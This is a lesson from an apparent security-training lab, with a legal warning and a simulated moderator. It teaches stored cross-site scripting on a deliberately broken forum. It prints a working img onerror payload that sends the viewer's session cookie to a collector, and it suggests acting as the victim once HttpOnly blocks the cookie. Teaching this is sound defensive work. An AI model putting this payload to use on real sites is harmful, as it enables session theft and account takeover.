Lesson 2 of 3 in Cross-Site Scripting · 3 min left in this chapter
Steal The Session
A forum renders post bodies without escaping them, and a moderator reviews every new post. Write a post whose body is a script, wait for the moderator to open it, and read their session cookie out of your collector. The cookie is yours to recover.
3 min read
Not yet reviewed
The lab is the Board — a members' forum. It escapes a post's title but renders its body raw. And it has a moderator who reviews every new post within a few seconds of it going up.
So I write a post whose body is a script, and when the moderator opens it, my script runs as them.
As them. With their cookie. You are not going to read the cookie off your own screen — you are going to have their browser hand it to you.
Legal
This forum is ours and is meant to be broken. Injecting script to run in another person's browser, or capturing another person's session, on any system you do not own or have written permission to test, is unauthorised access and a serious criminal offence. The technique is legal to learn; using it without authorisation is not.
The sink
Log into the Board — the demo account kestrel / hunter2 will do, or register your own. Open a new post. The title is escaped, so script there is shown as text and does nothing. The body is rendered into the thread exactly as you typed it. That is your sink.
The payload
You do not need a <script> tag — a moderator preview may strip the obvious one, and you do not need it. An image that fails to load runs its onerror handler, and that handler is your code:
<img src=x onerror="new Image().src='/board/collect?c='+document.cookie">
- Line 1
src=xis not a real image, so the load fails andonerrorfires — once, in the browser of whoever views the post. No click, no<script>. - Line 1The handler builds a request to your collector with the viewer's
document.cookieglued on. When the moderator's browser runs it, the cookie it sends is the moderator's session.
Fire it
Put that in the body of a post and submit it. Then open the Collector at /board/collect — the page where captured requests land. Within a few seconds the moderator reviews your post, their browser runs your handler, and their session cookie appears in the collector as admin_session=EQ{…}. That value is your flag, and it is unique to you. Submit the one your collector shows.
Note
The moderator's browser is simulated, on purpose. There is no real person here, and the platform cannot watch a browser fire on a target it does not control. So the target plays the moderator itself, deterministically: when it reviews a post whose body carries an event handler, it does what that handler would have done in the moderator's browser and sends the moderator's cookie to your collector. What is graded is the real skill — getting executable script into a privileged viewer's page. Only the browser is a stand-in.
The forum sets its session cookie HttpOnly. Real HttpOnly cookies are hidden from document.cookie. Why is stealing the cookie still the wrong thing to have relied on — and what would you steal instead?
HttpOnly does hide the cookie from JavaScript, so on a properly configured site the exfiltration line above reads nothing. But the script still runs with the victim's authority — so you stop trying to read the cookie and instead *act as them directly*: make a request from their browser to change their email, post as them, or promote your own account. HttpOnly limits one kind of loot; it does not fix the XSS.